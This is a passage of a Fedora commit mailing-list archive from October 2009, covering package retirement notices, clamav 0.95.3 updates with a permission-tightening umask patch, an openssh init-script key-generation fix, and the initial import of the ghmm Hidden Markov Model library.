From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 08:54:35 +0000
Subject: [pkgdb] knm_new-fonts (un)retirement
Message-ID: <20091029085435.BF3F110F8A2@bastion2.fedora.phx.redhat.com>

Package knm_new-fonts in Fedora 11 has been retired by tagoh

To make changes to this package see:
  /pkgdb/packages/name/knm_new-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 08:54:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 08:54:41 +0000
Subject: [pkgdb] knm_new-fonts ownership updated
Message-ID: <20091029085441.AB54510F86E@bastion2.fedora.phx.redhat.com>

Package knm_new-fonts in Fedora 12 was orphaned by tagoh

To make changes to this package see:
  /pkgdb/packages/name/knm_new-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 08:54:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 08:54:41 +0000
Subject: [pkgdb] knm_new-fonts (un)retirement
Message-ID: <20091029085441.C1E0D10F88B@bastion2.fedora.phx.redhat.com>

Package knm_new-fonts in Fedora 12 has been retired by tagoh

To make changes to this package see:
  /pkgdb/packages/name/knm_new-fonts



From ensc at fedoraproject.org  Thu Oct 29 09:03:06 2009
From: ensc at fedoraproject.org (ensc)
Date: Thu, 29 Oct 2009 09:03:06 +0000 (UTC)
Subject: rpms/clamav/devel clamav-0.95.3-umask.patch, NONE, 1.1 .cvsignore, 
	1.20, 1.21 clamav.spec, 1.93, 1.94 lastver, 1.9, 1.10 sources,
	1.46, 1.47 clamav-0.95rc1-umask.patch, 1.1, NONE
Message-ID: <20091029090306.7CC9111C008B@cvs1.fedora.phx.redhat.com>

Author: ensc

Update of /cvs/extras/rpms/clamav/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8753

Modified Files:
	.cvsignore clamav.spec lastver sources 
Added Files:
	clamav-0.95.3-umask.patch 
Removed Files:
	clamav-0.95rc1-umask.patch 
Log Message:
updated to 0.95.3


clamav-0.95.3-umask.patch:
 clamav-milter/clamav-milter.c |    2 +-
 freshclam/freshclam.c         |    2 +-
 shared/output.c               |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE clamav-0.95.3-umask.patch ---
Index: clamav-0.95.3/clamav-milter/clamav-milter.c
===================================================================
--- clamav-0.95.3.orig/clamav-milter/clamav-milter.c
+++ clamav-0.95.3/clamav-milter/clamav-milter.c
@@ -306,7 +306,7 @@ int main(int argc, char **argv) {
 
     if((opt = optget(opts, "PidFile"))->enabled) {
 	FILE *fd;
-	mode_t old_umask = umask(0002);
+	mode_t old_umask = umask(0022);
 
 	if((fd = fopen(opt->strarg, "w")) == NULL) {
 	    logg("!Can't save PID in file %s\n", opt->strarg);
Index: clamav-0.95.3/shared/output.c
===================================================================
--- clamav-0.95.3.orig/shared/output.c
+++ clamav-0.95.3/shared/output.c
@@ -270,7 +270,7 @@ int logg(const char *str, ...)
 #endif
     if(logg_file) {
 	if(!logg_fp) {
-	    old_umask = umask(0037);
+	    old_umask = umask(0077);
 	    if((logg_fp = fopen(logg_file, "at")) == NULL) {
 		umask(old_umask);
 #ifdef CL_THREAD_SAFE
Index: clamav-0.95.3/freshclam/freshclam.c
===================================================================
--- clamav-0.95.3.orig/freshclam/freshclam.c
+++ clamav-0.95.3/freshclam/freshclam.c
@@ -102,7 +102,7 @@ static void writepid(const char *pidfile
 {
 	FILE *fd;
 	int old_umask;
-    old_umask = umask(0006);
+    old_umask = umask(0022);
     if((fd = fopen(pidfile, "w")) == NULL) {
 	logg("!Can't save PID to file %s: %s\n", pidfile, strerror(errno));
     } else {


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/clamav/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	11 Jun 2009 07:27:31 -0000	1.20
+++ .cvsignore	29 Oct 2009 09:03:06 -0000	1.21
@@ -1 +1 @@
-clamav-0.95.2-norar.tar.bz2
+clamav-0.95.3-norar.tar.bz2


Index: clamav.spec
===================================================================
RCS file: /cvs/extras/rpms/clamav/devel/clamav.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- clamav.spec	13 Sep 2009 13:43:34 -0000	1.93
+++ clamav.spec	29 Oct 2009 09:03:06 -0000	1.94
@@ -23,8 +23,8 @@
 
 Summary:	End-user tools for the Clam Antivirus scanner
 Name:		clamav
-Version:	0.95.2
-Release:	%release_func 5%{?snapshot:.%snapshot}
+Version:	0.95.3
+Release:	%release_func 1300%{?snapshot:.%snapshot}
 
 License:	%{?with_unrar:proprietary}%{!?with_unrar:GPLv2}
 Group:		Applications/File
@@ -49,7 +49,7 @@ Source8:	clamav-notify-servers
 Patch24:	clamav-0.92-private.patch
 Patch25:	clamav-0.92-open.patch
 Patch26:	clamav-0.95-cliopts.patch
-Patch27:	clamav-0.95rc1-umask.patch
+Patch27:	clamav-0.95.3-umask.patch
 BuildRoot:	%_tmppath/%name-%version-%release-root
 Requires:	clamav-lib = %version-%release
 Requires:	data(clamav)
@@ -696,6 +696,9 @@ test "$1" != "0" || /sbin/initctl -q sto
 
 
 %changelog
+* Thu Oct 29 2009 Enrico Scholz <enrico.scholz at informatik.tu-chemnitz.de> - 0.95.3-1300
+- updated to 0.95.3
+
 * Sun Sep 13 2009 Enrico Scholz <enrico.scholz at informatik.tu-chemnitz.de>
 - conditionalized build of noarch subpackages to ease packaging under RHEL5
 


Index: lastver
===================================================================
RCS file: /cvs/extras/rpms/clamav/devel/lastver,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- lastver	11 Jun 2009 07:27:31 -0000	1.9
+++ lastver	29 Oct 2009 09:03:06 -0000	1.10
@@ -1 +1 @@
-0.95.2
+0.95.3


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/clamav/devel/sources,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- sources	11 Jun 2009 07:27:31 -0000	1.46
+++ sources	29 Oct 2009 09:03:06 -0000	1.47
@@ -1 +1 @@
-377aed737db63d902e641be8d923cda9  clamav-0.95.2-norar.tar.bz2
+7a76425f5cffb9973d6ee45580dc2094  clamav-0.95.3-norar.tar.bz2


--- clamav-0.95rc1-umask.patch DELETED ---



From ensc at fedoraproject.org  Thu Oct 29 09:10:29 2009
From: ensc at fedoraproject.org (ensc)
Date: Thu, 29 Oct 2009 09:10:29 +0000 (UTC)
Subject: rpms/clamav/F-12 clamav-0.95.3-umask.patch, NONE, 1.1 sources, 1.46,
	1.47 lastver, 1.9, 1.10 clamav.spec, 1.93, 1.94 .cvsignore, 1.20,
	1.21 clamav-0.95rc1-umask.patch, 1.1, NONE
Message-ID: <20091029091029.DE82211C0380@cvs1.fedora.phx.redhat.com>

Author: ensc

Update of /cvs/extras/rpms/clamav/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11291

Modified Files:
	sources lastver clamav.spec .cvsignore 
Added Files:
	clamav-0.95.3-umask.patch 
Removed Files:
	clamav-0.95rc1-umask.patch 
Log Message:
updated to 0.95.3


clamav-0.95.3-umask.patch:
 clamav-milter/clamav-milter.c |    2 +-
 freshclam/freshclam.c         |    2 +-
 shared/output.c               |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE clamav-0.95.3-umask.patch ---
Index: clamav-0.95.3/clamav-milter/clamav-milter.c
===================================================================
--- clamav-0.95.3.orig/clamav-milter/clamav-milter.c
+++ clamav-0.95.3/clamav-milter/clamav-milter.c
@@ -306,7 +306,7 @@ int main(int argc, char **argv) {
 
     if((opt = optget(opts, "PidFile"))->enabled) {
 	FILE *fd;
-	mode_t old_umask = umask(0002);
+	mode_t old_umask = umask(0022);
 
 	if((fd = fopen(opt->strarg, "w")) == NULL) {
 	    logg("!Can't save PID in file %s\n", opt->strarg);
Index: clamav-0.95.3/shared/output.c
===================================================================
--- clamav-0.95.3.orig/shared/output.c
+++ clamav-0.95.3/shared/output.c
@@ -270,7 +270,7 @@ int logg(const char *str, ...)
 #endif
     if(logg_file) {
 	if(!logg_fp) {
-	    old_umask = umask(0037);
+	    old_umask = umask(0077);
 	    if((logg_fp = fopen(logg_file, "at")) == NULL) {
 		umask(old_umask);
 #ifdef CL_THREAD_SAFE
Index: clamav-0.95.3/freshclam/freshclam.c
===================================================================
--- clamav-0.95.3.orig/freshclam/freshclam.c
+++ clamav-0.95.3/freshclam/freshclam.c
@@ -102,7 +102,7 @@ static void writepid(const char *pidfile
 {
 	FILE *fd;
 	int old_umask;
-    old_umask = umask(0006);
+    old_umask = umask(0022);
     if((fd = fopen(pidfile, "w")) == NULL) {
 	logg("!Can't save PID to file %s: %s\n", pidfile, strerror(errno));
     } else {


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/clamav/F-12/sources,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- sources	11 Jun 2009 07:27:31 -0000	1.46
+++ sources	29 Oct 2009 09:10:29 -0000	1.47
@@ -1 +1 @@
-377aed737db63d902e641be8d923cda9  clamav-0.95.2-norar.tar.bz2
+7a76425f5cffb9973d6ee45580dc2094  clamav-0.95.3-norar.tar.bz2


Index: lastver
===================================================================
RCS file: /cvs/extras/rpms/clamav/F-12/lastver,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- lastver	11 Jun 2009 07:27:31 -0000	1.9
+++ lastver	29 Oct 2009 09:10:29 -0000	1.10
@@ -1 +1 @@
-0.95.2
+0.95.3


Index: clamav.spec
===================================================================
RCS file: /cvs/extras/rpms/clamav/F-12/clamav.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- clamav.spec	13 Sep 2009 13:43:34 -0000	1.93
+++ clamav.spec	29 Oct 2009 09:10:29 -0000	1.94
@@ -23,8 +23,8 @@
 
 Summary:	End-user tools for the Clam Antivirus scanner
 Name:		clamav
-Version:	0.95.2
-Release:	%release_func 5%{?snapshot:.%snapshot}
+Version:	0.95.3
+Release:	%release_func 1200%{?snapshot:.%snapshot}
 
 License:	%{?with_unrar:proprietary}%{!?with_unrar:GPLv2}
 Group:		Applications/File
@@ -49,7 +49,7 @@ Source8:	clamav-notify-servers
 Patch24:	clamav-0.92-private.patch
 Patch25:	clamav-0.92-open.patch
 Patch26:	clamav-0.95-cliopts.patch
-Patch27:	clamav-0.95rc1-umask.patch
+Patch27:	clamav-0.95.3-umask.patch
 BuildRoot:	%_tmppath/%name-%version-%release-root
 Requires:	clamav-lib = %version-%release
 Requires:	data(clamav)
@@ -696,6 +696,9 @@ test "$1" != "0" || /sbin/initctl -q sto
 
 
 %changelog
+* Thu Oct 29 2009 Enrico Scholz <enrico.scholz at informatik.tu-chemnitz.de> - 0.95.3-1200
+- updated to 0.95.3
+
 * Sun Sep 13 2009 Enrico Scholz <enrico.scholz at informatik.tu-chemnitz.de>
 - conditionalized build of noarch subpackages to ease packaging under RHEL5
 


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/clamav/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	11 Jun 2009 07:27:31 -0000	1.20
+++ .cvsignore	29 Oct 2009 09:10:29 -0000	1.21
@@ -1 +1 @@
-clamav-0.95.2-norar.tar.bz2
+clamav-0.95.3-norar.tar.bz2


--- clamav-0.95rc1-umask.patch DELETED ---



From ensc at fedoraproject.org  Thu Oct 29 09:13:04 2009
From: ensc at fedoraproject.org (ensc)
Date: Thu, 29 Oct 2009 09:13:04 +0000 (UTC)
Subject: rpms/clamav/F-11 clamav-0.95.3-umask.patch, NONE, 1.1 sources, 1.46,
	1.47 lastver, 1.9, 1.10 clamav.spec, 1.90, 1.91 .cvsignore, 1.20,
	1.21 clamav-0.95rc1-umask.patch, 1.1, NONE
Message-ID: <20091029091304.B622711C008B@cvs1.fedora.phx.redhat.com>

Author: ensc

Update of /cvs/extras/rpms/clamav/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12144

Modified Files:
	sources lastver clamav.spec .cvsignore 
Added Files:
	clamav-0.95.3-umask.patch 
Removed Files:
	clamav-0.95rc1-umask.patch 
Log Message:
updated to 0.95.3


clamav-0.95.3-umask.patch:
 clamav-milter/clamav-milter.c |    2 +-
 freshclam/freshclam.c         |    2 +-
 shared/output.c               |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE clamav-0.95.3-umask.patch ---
Index: clamav-0.95.3/clamav-milter/clamav-milter.c
===================================================================
--- clamav-0.95.3.orig/clamav-milter/clamav-milter.c
+++ clamav-0.95.3/clamav-milter/clamav-milter.c
@@ -306,7 +306,7 @@ int main(int argc, char **argv) {
 
     if((opt = optget(opts, "PidFile"))->enabled) {
 	FILE *fd;
-	mode_t old_umask = umask(0002);
+	mode_t old_umask = umask(0022);
 
 	if((fd = fopen(opt->strarg, "w")) == NULL) {
 	    logg("!Can't save PID in file %s\n", opt->strarg);
Index: clamav-0.95.3/shared/output.c
===================================================================
--- clamav-0.95.3.orig/shared/output.c
+++ clamav-0.95.3/shared/output.c
@@ -270,7 +270,7 @@ int logg(const char *str, ...)
 #endif
     if(logg_file) {
 	if(!logg_fp) {
-	    old_umask = umask(0037);
+	    old_umask = umask(0077);
 	    if((logg_fp = fopen(logg_file, "at")) == NULL) {
 		umask(old_umask);
 #ifdef CL_THREAD_SAFE
Index: clamav-0.95.3/freshclam/freshclam.c
===================================================================
--- clamav-0.95.3.orig/freshclam/freshclam.c
+++ clamav-0.95.3/freshclam/freshclam.c
@@ -102,7 +102,7 @@ static void writepid(const char *pidfile
 {
 	FILE *fd;
 	int old_umask;
-    old_umask = umask(0006);
+    old_umask = umask(0022);
     if((fd = fopen(pidfile, "w")) == NULL) {
 	logg("!Can't save PID to file %s: %s\n", pidfile, strerror(errno));
     } else {


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/clamav/F-11/sources,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- sources	11 Jun 2009 07:27:38 -0000	1.46
+++ sources	29 Oct 2009 09:13:04 -0000	1.47
@@ -1 +1 @@
-377aed737db63d902e641be8d923cda9  clamav-0.95.2-norar.tar.bz2
+7a76425f5cffb9973d6ee45580dc2094  clamav-0.95.3-norar.tar.bz2


Index: lastver
===================================================================
RCS file: /cvs/extras/rpms/clamav/F-11/lastver,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- lastver	11 Jun 2009 07:27:38 -0000	1.9
+++ lastver	29 Oct 2009 09:13:04 -0000	1.10
@@ -1 +1 @@
-0.95.2
+0.95.3


Index: clamav.spec
===================================================================
RCS file: /cvs/extras/rpms/clamav/F-11/clamav.spec,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- clamav.spec	13 Sep 2009 12:39:14 -0000	1.90
+++ clamav.spec	29 Oct 2009 09:13:04 -0000	1.91
@@ -20,8 +20,8 @@
 
 Summary:	End-user tools for the Clam Antivirus scanner
 Name:		clamav
-Version:	0.95.2
-Release:	%release_func 3%{?snapshot:.%snapshot}
+Version:	0.95.3
+Release:	%release_func 1100%{?snapshot:.%snapshot}
 
 License:	%{?with_unrar:proprietary}%{!?with_unrar:GPLv2}
 Group:		Applications/File
@@ -46,7 +46,7 @@ Source8:	clamav-notify-servers
 Patch24:	clamav-0.92-private.patch
 Patch25:	clamav-0.92-open.patch
 Patch26:	clamav-0.95-cliopts.patch
-Patch27:	clamav-0.95rc1-umask.patch
+Patch27:	clamav-0.95.3-umask.patch
 BuildRoot:	%_tmppath/%name-%version-%release-root
 Requires:	clamav-lib = %version-%release
 Requires:	data(clamav)
@@ -672,6 +672,9 @@ test "$1" != "0" || /sbin/initctl -q sto
 
 
 %changelog
+* Thu Oct 29 2009 Enrico Scholz <enrico.scholz at informatik.tu-chemnitz.de> - 0.95.3-1100
+- updated to 0.95.3
+
 * Sun Sep 13 2009 Enrico Scholz <enrico.scholz at informatik.tu-chemnitz.de> - 0.95.2-3
 - add the '%milteruser' user to the '%scanuser' group when the -scanner
   subpackage is installed (#505739)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/clamav/F-11/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	11 Jun 2009 07:27:37 -0000	1.20
+++ .cvsignore	29 Oct 2009 09:13:04 -0000	1.21
@@ -1 +1 @@
-clamav-0.95.2-norar.tar.bz2
+clamav-0.95.3-norar.tar.bz2


--- clamav-0.95rc1-umask.patch DELETED ---



From jfch2222 at fedoraproject.org  Thu Oct 29 09:30:48 2009
From: jfch2222 at fedoraproject.org (Jan F. Chadima)
Date: Thu, 29 Oct 2009 09:30:48 +0000 (UTC)
Subject: rpms/openssh/devel openssh.spec,1.175,1.176 sshd.init,1.4,1.5
Message-ID: <20091029093048.D386F11C02BD@cvs1.fedora.phx.redhat.com>

Author: jfch2222

Update of /cvs/pkgs/rpms/openssh/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18138

Modified Files:
	openssh.spec sshd.init 
Log Message:
Modify the init script to prevent it to hang during generating the keys



Index: openssh.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/openssh.spec,v
retrieving revision 1.175
retrieving revision 1.176
diff -u -p -r1.175 -r1.176
--- openssh.spec	27 Oct 2009 13:48:48 -0000	1.175
+++ openssh.spec	29 Oct 2009 09:30:48 -0000	1.176
@@ -69,7 +69,7 @@
 Summary: An open source implementation of SSH protocol versions 1 and 2
 Name: openssh
 Version: 5.3p1
-Release: 5%{?dist}%{?rescue_rel}
+Release: 6%{?dist}%{?rescue_rel}
 URL: http://www.openssh.com/portable.html
 #URL1: http://pamsshauth.sourceforge.net
 #Source0: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz
@@ -521,6 +521,9 @@ fi
 %endif
 
 %changelog
+* Thu Oct 29 2009 Jan F. Chadima <jchadima at redhat.com> - 5.3p1-6
+- Modify the init script to prevent it to hang during generating the keys (#515145)
+
 * Tue Oct 27 2009 Jan F. Chadima <jchadima at redhat.com> - 5.3p1-5
 - Add README.nss
 


Index: sshd.init
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/sshd.init,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sshd.init	24 Sep 2009 16:05:27 -0000	1.4
+++ sshd.init	29 Oct 2009 09:30:48 -0000	1.5
@@ -49,7 +49,8 @@ runlevel=$(set -- $(runlevel); eval "ech
 do_rsa1_keygen() {
 	if [ ! -s $RSA1_KEY ]; then
 		echo -n $"Generating SSH1 RSA host key: "
-		if $KEYGEN -q -t rsa1 -f $RSA1_KEY -C '' -N '' >&/dev/null; then
+		rm -f $RSA1_KEY
+		if test ! -f $RSA1_KEY && $KEYGEN -q -t rsa1 -f $RSA1_KEY -C '' -N '' >&/dev/null; then
 			chmod 600 $RSA1_KEY
 			chmod 644 $RSA1_KEY.pub
 			if [ -x /sbin/restorecon ]; then
@@ -68,7 +69,8 @@ do_rsa1_keygen() {
 do_rsa_keygen() {
 	if [ ! -s $RSA_KEY ]; then
 		echo -n $"Generating SSH2 RSA host key: "
-		if $KEYGEN -q -t rsa -f $RSA_KEY -C '' -N '' >&/dev/null; then
+		rm -f $RSA_KEY
+		if test ! -f $RSA_KEY && $KEYGEN -q -t rsa -f $RSA_KEY -C '' -N '' >&/dev/null; then
 			chmod 600 $RSA_KEY
 			chmod 644 $RSA_KEY.pub
 			if [ -x /sbin/restorecon ]; then
@@ -87,7 +89,8 @@ do_rsa_keygen() {
 do_dsa_keygen() {
 	if [ ! -s $DSA_KEY ]; then
 		echo -n $"Generating SSH2 DSA host key: "
-		if $KEYGEN -q -t dsa -f $DSA_KEY -C '' -N '' >&/dev/null; then
+		rm -f $DSA_KEY
+		if test ! -f $DSA_KEY && $KEYGEN -q -t dsa -f $DSA_KEY -C '' -N '' >&/dev/null; then
 			chmod 600 $DSA_KEY
 			chmod 644 $DSA_KEY.pub
 			if [ -x /sbin/restorecon ]; then



From mycae at fedoraproject.org  Thu Oct 29 09:34:20 2009
From: mycae at fedoraproject.org (mycae)
Date: Thu, 29 Oct 2009 09:34:20 +0000 (UTC)
Subject: rpms/ghmm/devel ghmm-config.patch, NONE, 1.1 ghmm-make-check.patch, 
	NONE, 1.1 ghmm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091029093420.A5F5C11C008B@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/ghmm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20074/devel

Modified Files:
	.cvsignore sources 
Added Files:
	ghmm-config.patch ghmm-make-check.patch ghmm.spec import.log 
Log Message:
*Initial commit


ghmm-config.patch:
 ghmm-config.in |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

--- NEW FILE ghmm-config.patch ---
--- tools/ghmm-config.in	2003-11-10 01:47:43.000000000 +1100
+++ tools/ghmm-config.in.new	2009-09-12 20:57:28.000000000 +1000
@@ -54,10 +54,10 @@
       echo @VERSION@
       ;;
     --cflags)
-      echo @CFLAGS@ -I${prefix}/include
+      echo -n " @CFLAGS@ -I${prefix}/include"
       ;;
     --libs)
-      echo -L${prefix}/lib -lghmm @LIBS@
+      echo -n " -L${prefix}/lib -lghmm @LIBS@"
       ;;
     --lib-prefix)
       echo ${prefix}/lib
@@ -75,3 +75,5 @@
   shift
 done
 
+echo
+

ghmm-make-check.patch:
 Makefile.am |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE ghmm-make-check.patch ---
--- ghmmwrapper/Makefile.am	2009-08-23 11:54:16.000000000 +1000
+++ ghmmwrapper/Makefile.am.new	2009-08-23 11:54:36.000000000 +1000
@@ -51,7 +51,6 @@
                  testdata/multiple_hmmer.hmm \
                  testdata/tiny.smo \
                  testdata/xml_cont_multiple.xml \
-                 testdata/es_discrete_testwrite.seq \
                  testdata/test10.sqd \
                  testdata/test2.xml \
                  testdata/model_label.xml \


--- NEW FILE ghmm.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
%{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}

%define svnver 2286

#Need to fix this package. The latest spec is in koji...
# http://koji.fedoraproject.org/koji/taskinfo?taskID=1672945

#Upstream has been notified of exit() calls.
#https://sourceforge.net/tracker/?func=detail&aid=2842844&group_id=67094&atid=516866
#Upstream has been notified of licencing issues
#https://sourceforge.net/tracker/?func=detail&aid=2842854&group_id=67094&atid=516866
#Upstream has been notfied of unit test problems
#https://sourceforge.net/tracker/?func=detail&aid=2842847&group_id=67094&atid=516867

Name:           ghmm
Version:        0.7
Release:        4.svn%{svnver}%{?dist}
Summary:        A library with data structures and algorithms for Hidden Markov Models
Group:          Development/Libraries
License:        LGPLv2+
URL:            http://ghmm.sourceforge.net/

# The source for this package was pulled from upstream's vcs. Use the
# following commands to generate the tarball: 

#   export LANG=en_US.utf8; export TZ=+0000; 
#   svn export -r2286 https://ghmm.svn.sourceforge.net/svnroot/ghmm/trunk/ghmm ghmm
#   tar -cjf ghmm.tar.bz2 ghmm/

# MD5 sum should be : 24d1829f2562d04115b7f028e0399f0f ghmm.tar.bz2
Source0:        %{name}.tar.bz2

#Disable single broken test
Patch0:         %{name}-make-check.patch
#Fix ghmm-config output
Patch1:         %{name}-config.patch

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gsl-devel
BuildRequires:  libtool
BuildRequires:  libxml2-devel
BuildRequires:  pkgconfig
BuildRequires:  python-devel
BuildRequires:  swig
BuildRequires:  atlas-devel

Requires:       tkinter


%description
The General Hidden Markov Model library (GHMM) is a freely available
LGPL-ed C library implementing efficient data structures and algorithms
for basic and extended HMMs.

It is developed by the Algorithmics group at the Max Planck Institute
for Molecular Genetics.

Features:
  * Discrete and continuous emissions
  * Mixtures of PDFs for continuous emissions
  * Non-homogenous Markov chains
  * Pair HMMs (contributed by Genoscope)
  * Clustering and mixture modelling for HMMs
  * Graphical Editor HMMEd
  * Python bindings
  * XML-based file format


%package        static
Summary:        Static libraries for %{name}
Group:          Development/Libraries
Requires:       %{name}-devel = %{version}-%{release}


%description    static
Static libraries for developing with %{name}.


%package        devel
Summary:        Development headers and libraries for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}


%description    devel
Headers and libraries for developing with %{name}.


%prep
%setup -q -n %{name}
sed -i \
  -e 's|$(PYTHON) setup.py install.*$|$(PYTHON) setup.py install -O1 --skip-build --root ${RPM_BUILD_ROOT}|' \
  ghmmwrapper/Makefile.am HMMEd/Makefile.am
sed -i -e '1,1d' \
  ghmmwrapper/ghmm_gato/{xmlutil,HMMEd,EditObjectAttributesDialog}.py \
  ghmmwrapper/ghmm.py HMMEd/{HMMEditor,ObjectHMM,HMMEditingContext}.py
find . -type f -name '*.c' | xargs chmod -x
find . -type f -name '*.h' | xargs chmod -x
find . -type f -name '*.txt' | xargs chmod -x

#convert to UTF-8
chmod 644 AUTHORS
for i in AUTHORS
do
    iconv -f  iso8859-1 -t utf-8 $i > $i.new && \
    touch -r $i $i.new && \
    mv $i.new $i
done
\
%patch0
%patch1

%build
# Docs aren't build because Fedora doesn't have doc++
./autogen.sh
export CFLAGS="${CFLAGS} -I/usr/include/atlas"
%configure --enable-gsl --enable-experimental --enable-unsupported --enable-atlas
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
pushd $RPM_BUILD_ROOT%{_bindir}
  for bin in cluster probdist scluster smix_hmm smo2xml; do
    mv ${bin} %{name}-${bin}
  done
popd


%check
pushd ghmmwrapper
# Currently their unit tests fail. 
#  make check
popd


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYRIGHT.txt LGPL.txt AUTHORS
%if "%{python_sitearch}" != "%{python_sitelib}"
%{python_sitearch}/*
%endif
%{python_sitelib}/*
%{_libdir}/lib%{name}.so.*
%{_bindir}/HMMEd
%{_bindir}/%{name}-*
%exclude %{_bindir}/%{name}-config
%{_datadir}/%{name}


%files static
%defattr(-,root,root,-)
%{_libdir}/lib%{name}.a


%files devel
%defattr(-,root,root,-)
%{_includedir}/ghmm
%{_libdir}/lib%{name}.so
%{_bindir}/%{name}-config


%changelog
* Sat Oct 24 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-4.svn2286
- Modify CFLAGS again
- Fix permissions on AUTHORS file

* Sat Oct 24 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-3.svn2286
- Enabled atlas build
- Use CFLAGS export

* Sat Oct 10 2009 D Haley <mycae(a!t)yahoo.com> - 0.7-2.svn2286
- Remove GSL Requires (should be found by RPM)
- Patched non-executing make check, but test results indicate a few fails. Upstream notified
- Fixed -config script output via patch

* Sat Mar 21 2009 Conrad Meyer <konrad at tylerc.org> - 0.7-1.svn2251
- Initial package.


--- NEW FILE import.log ---
ghmm-0_7-4_svn2286_fc10:HEAD:ghmm-0.7-4.svn2286.fc10.src.rpm:1256808891


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ghmm/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:12:32 -0000	1.1
+++ .cvsignore	29 Oct 2009 09:34:20 -0000	1.2
@@ -0,0 +1 @@
+ghmm.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ghmm/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:12:34 -0000	1.1
+++ sources	29 Oct 2009 09:34:20 -0000	1.2
@@ -0,0 +1 @@
+24d1829f2562d04115b7f028e0399f0f  ghmm.tar.bz2



From mycae at fedoraproject.org  Thu Oct 29 09:38:02 2009
From: mycae at fedoraproject.org (mycae)
Date: Thu, 29 Oct 2009 09:38:02 +0000 (UTC)
Subject: rpms/ghmm/EL-5 ghmm-config.patch, NONE, 1.1 ghmm-make-check.patch, 
	NONE, 1.1 ghmm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091029093802.A624611C008B@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/ghmm/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21327/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	ghmm-config.patch ghmm-make-check.patch ghmm.spec import.log 
Log Message:
*Initial commmit

ghmm-config.patch:
 ghmm-config.in |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

--- NEW FILE ghmm-config.patch ---
--- tools/ghmm-config.in	2003-11-10 01:47:43.000000000 +1100
+++ tools/ghmm-config.in.new	2009-09-12 20:57:28.000000000 +1000
@@ -54,10 +54,10 @@
       echo @VERSION@
       ;;
     --cflags)
-      echo @CFLAGS@ -I${prefix}/include
+      echo -n " @CFLAGS@ -I${prefix}/include"
       ;;
     --libs)
-      echo -L${prefix}/lib -lghmm @LIBS@
